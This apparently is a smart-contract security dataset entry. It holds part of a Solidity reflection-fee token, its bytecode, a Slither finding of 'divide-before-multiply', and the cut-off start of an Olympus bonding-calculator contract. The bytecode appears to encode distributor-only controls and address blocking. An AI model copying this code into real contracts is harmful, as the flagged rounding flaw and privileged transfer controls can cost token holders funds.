_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);}}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063dd62ed3e1461040a578063de66a0041461043a578063fbdcf1ed1461046a5761014d565b806370a08231146102f2578063715018a61461032257806375619ab51461032c5780637e0b8152146103485780638129fc1c146103645780638da5cb5b1461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a65780634d1d2b1a146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb919061250e565b6108ea565b6040516102cd919061243d565b60405180910390f35b6102f060048036038101906102eb919061254e565b610974565b005b61030c600480360381019061030791906125a1565b610ae9565b604051610319919061243d565b60405180910390f35b61032a610b32565b005b610346600480360381019061034191906125a1565b610c85565b005b610362600480360381019061035d91906125a1565b610db9565b005b61036c610ea4565b005b610376610f8e565b60405161038391906125dd565b60405180910390f35b610394610fb7565b6040516103a19190612338565b60405180910390f35b6103c460048036038101906103bf91906123b8565b611049565b6040516103d19190612413565b60405180910390f35b6103f460048036038101906103ef91906123b8565b611116565b6040516104019190612413565b60405180910390f35b610424600480360381019061041f91906125f8565b611134565b604051610431919061243d565b60405180910390f35b610454600480360381019061044f91906125a1565b6111bb565b6040516104619190612413565b60405180910390f35b610484600480360381019061047f91906125a1565b611211565b005b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b600069152d02c7e14af6800000831115610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612809565b60405180910390fd5b8161095857600061094984611398565b5050505090508091505061096e565b600061096384611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90612875565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b90612907565b60405180910390fd5b610aa181604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b3a611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c8d611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090612875565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612875565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610fc6906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff2906126f9565b801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b5050505050905090565b600061110c611056611390565b846111078560405180606001604052806025815260200161300d6025913960056000611080611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061112a611123611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612875565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6124eb816123f8565b81146124f657600080fd5b50565b600081359050612508816124e2565b92915050565b6000806040838503121561252557612524612237565b5b60006125338582860161225d565b9250506020612544858286016124f9565b9150509250929050565b60008060006060848603121561256757612566612237565b5b6000612575868287016123a3565b93505060206125868682870161225d565b92505060406125978682870161225d565b9150509250925092565b6000602082840312156125b7576125b6612237565b5b60006125c5848285016123a3565b91505092915050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006127f3601f836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b600061285f601d836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c870bf3a061922bb4bc8fa7d10f9bdd7d9805e5e95fc8cd8fd53d6fee17acf8064736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,107 |
0xcaaa6a2d4b26067a391e7b7d65c16bb2d5fa571a
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract OlympusBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable OHM;
constructor( address _OHM ) {
require( _OHM != address(0) );
OHM = _OHM;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
